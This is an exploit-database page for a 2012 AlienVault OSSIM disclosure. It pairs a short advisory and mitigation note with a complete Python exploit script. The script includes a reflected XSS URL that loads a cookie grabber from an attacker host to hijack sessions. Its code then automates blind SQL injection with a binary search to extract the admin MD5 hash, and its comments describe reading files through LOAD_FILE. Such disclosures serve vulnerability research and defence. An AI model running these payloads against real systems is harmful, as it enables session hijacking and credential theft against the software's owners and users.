header-logo
Suggest Exploit
vendor:
AlienVault OSSIM
by:
Unknown
7.5
CVSS
HIGH
Reflected XSS, Blind SQL Injection
79
CWE
Product Name: AlienVault OSSIM
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Unknown
2012

Reflected XSS and Blind SQL Injection in AlienVault

The AlienVault application is vulnerable to a reflected XSS attack in the 'url' parameter of 'top.php'. An attacker can entice a logged-in user to visit a malicious URL and hijack their session. Additionally, there is a blind SQL injection vulnerability in the 'tcp_port' parameter of 'base_qry_main.php' that allows an attacker to extract the admin hash. The vulnerability was reported to CERT on 28 May 2012 and publicly disclosed on 23 Jul 2012.

Mitigation:

To mitigate the reflected XSS vulnerability, proper input validation and output encoding should be implemented. To mitigate the blind SQL injection vulnerability, prepared statements or parameterized queries should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

#!/usr/bin/python

'''
AlienVault has a reflected XSS vulnerability in the "url" parameter of "top.php". 

Proof of Concept:

Enticing a logged in user to visit the following URL where an attacker is hosting an cookie grabber will allow for the hijacking of the user session:

https://victim/ossim/top.php?option=3&soption=3&url=<script src=http://attacker/grabber.js></script>

With a cookie captured and a session hijacked, the blind SQL injection vulnerability in the "tcp_port" parameter of "base_qry_main.php" can be exploited to extract the admin hash.

Timeline:

# 28 May 2012: Vulnerability reported to CERT
# 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 23 Jul 2012: Update from CERT: No response from AlienVault
# 23 Jul 2012: Public Disclosure

Special Thanks to Tal Zeltzer

When we access the vulnerable script at:

https://victim/ossim/forensics/base_qry_main.php

With an invalid sql statement in tcp_port[0][0] we see that there is an sql injection vulnerability
[Todo]: Add here description on how we got the original query
We concluded that since magic_quotes_gpc is enabled it will be difficult to obtain a shell quickly.
We decided to take a different approach, we will modify the query in a way that it will only return rows
If a specific field we are interested in has X as the Nth byte.
To optimize the speed we used an algorithm called 'binary search'
what we do is: (n being the Nth byte of the result string):
    - check if X equals n
    - If its not check if X is bigger than n
    - If its not, X is smaller than n

We used this algorithm to extract data from files using the LOAD_FILE function
We also used this algorithm to extract the admin MD5 hashed password
'''
import sys,urllib2,urllib

# Example 
# https://victim/ossim/forensics/base_qry_main.php?tcp_port[0][0]=1=1) and 2 = mid((select pass from ossim.users where login=0x61646d696e),1,1)--&tcp_port[0][1]=layer4_dport&tcp_port[0][2]==&tcp_port[0][3]=17500&tcp_port[0][4]= &tcp_port[0][5]= &tcp_flags[0]= &layer4=TCP&num_result_rows=-1&current_view=-1&submit=QUERYDBP&sort_order=sig_a&clear_allcriteria=1&clear_criteria=time

target = 'https://victim/ossim/forensics/base_qry_main.php'
cookie = 'PHPSESSID=072af2ba52959b1602cc8fa864081d01'
debug = False

#
# We use this function to output debug information if required
#
def debugOut(str, newLine = True):
    if debug == True:
        if newLine == True:
            print str
        else:
            print str,

#
# Injects the given sql-query and check if the results were 'True' or 'False'
#
def sendSql(query):
    global target, cookie           # We use the cookie and the target variables as globals
    debugOut("Query: %s" % query)   # Print the query we execute for debugging
    
    values = { 'tcp_port[0][0]': query,             # This is our injection parameter
               'tcp_port[0][1]': 'layer4_dport',
               'tcp_port[0][2]': '=',
               'tcp_port[0][3]': 17500,
               'tcp_port[0][4]': ' ',
               'tcp_port[0][5]': ' ',
               'tcp_flags[0]': ' ',
               'layer4': 'TCP',
               'num_result_rows': -1,
               'current_view': -1,
               'submit': 'QUERYDBP',
               'sort_order': 'sig_a',
               'clear_allcriteria': 1,
               'clear_criteria': 'time' }

    url = "%s?%s" % (target, urllib.urlencode(values))  # Create the request url
    req = urllib2.Request(url)                          # Create a request for the specified url
    req.add_header('Cookie', cookie)                    # Add the cookie we stolen using XSS to identify ourselves
    try:                                                # Exception handling
        response = urllib2.urlopen(req)                 # Send the request and save the response object
    except:                                             # In-case of an exception
        print 'Failed to SQL inject'                    # Notify the user that there was an error
        sys.exit(-1)                                    # Stop execution of our exploit
    data = response.read()                  # Read the response data
                                            # If the string 'No events...' is in not in our data the query is 'True'
    return('No events matching your search criteria have been found' not in data)

#
# This function enumerates the value of a single nibble out of the admin hash
# It uses the "binary search" algorithm to narrow down the number of requests we send
#
def enumerateNibble(subQuery, location, iMin = 0x00, iMax = 0x0F):
    n = (iMin + iMax) / 2               # Get the middle of our range 
    debugOut('Trying %d' % n, False)    # Notify what value is we comparing the nibble to
                                # Test if the current value equals the nibble     
    if sendSql('1=1) and %s = cast(conv(mid(%s,%d,1), 16, 10) as unsigned integer)--' % (n, subQuery, location)) == True:
        debugOut('Equals!')             # If it is, notify 
        return(hex(n)[2:])              # Return the hex representation of the nibble's value
                                # Test if the current value is bigger than the nibble                                    
    elif sendSql('1=1) and %s > cast(conv(mid(%s,%d,1),16,10) as unsigned integer)--' % (n, subQuery, location)) == True:
        debugOut('Bigger than')                                     # If it is, notify
        return(enumerateNibble(subQuery, location, iMin, n - 1))    # Use recursion to try again with the new reduced range
    else:                       # If the current value is smaller than the nibble
        debugOut('Smaller than')                                    # If it is, notify
        return(enumerateNibble(subQuery, location, n + 1, iMax))    # Use recursion to try again with the new reduced range

#
# Do the actual enumeration of the admin-hash
#
def enumerateAdminHash():
    hash = ''               # Initialize the 'hash' variable
    for i in range(1,33):   # Iterate from 1 to 32 (the size of the md5 hash)
                            # Append the nibble we enumerate from the given query
                            # (This query retrives the administrator hash (obviously..)
        hash += str(enumerateNibble('(select pass from ossim.users where login=0x61646d696e)', i))
        print 'At %d, So far: %s' % (i, hash)   # Notify about our progress
    return(hash)            # When done, return the hash we enumerated


print "Trying to dump the administrator's hash"
print "Note: If we get stuck or get invalid results it's probably due to an invalid session"
hash = enumerateAdminHash()
print "Administrator MD5 hash:"
print "admin:%s" % hash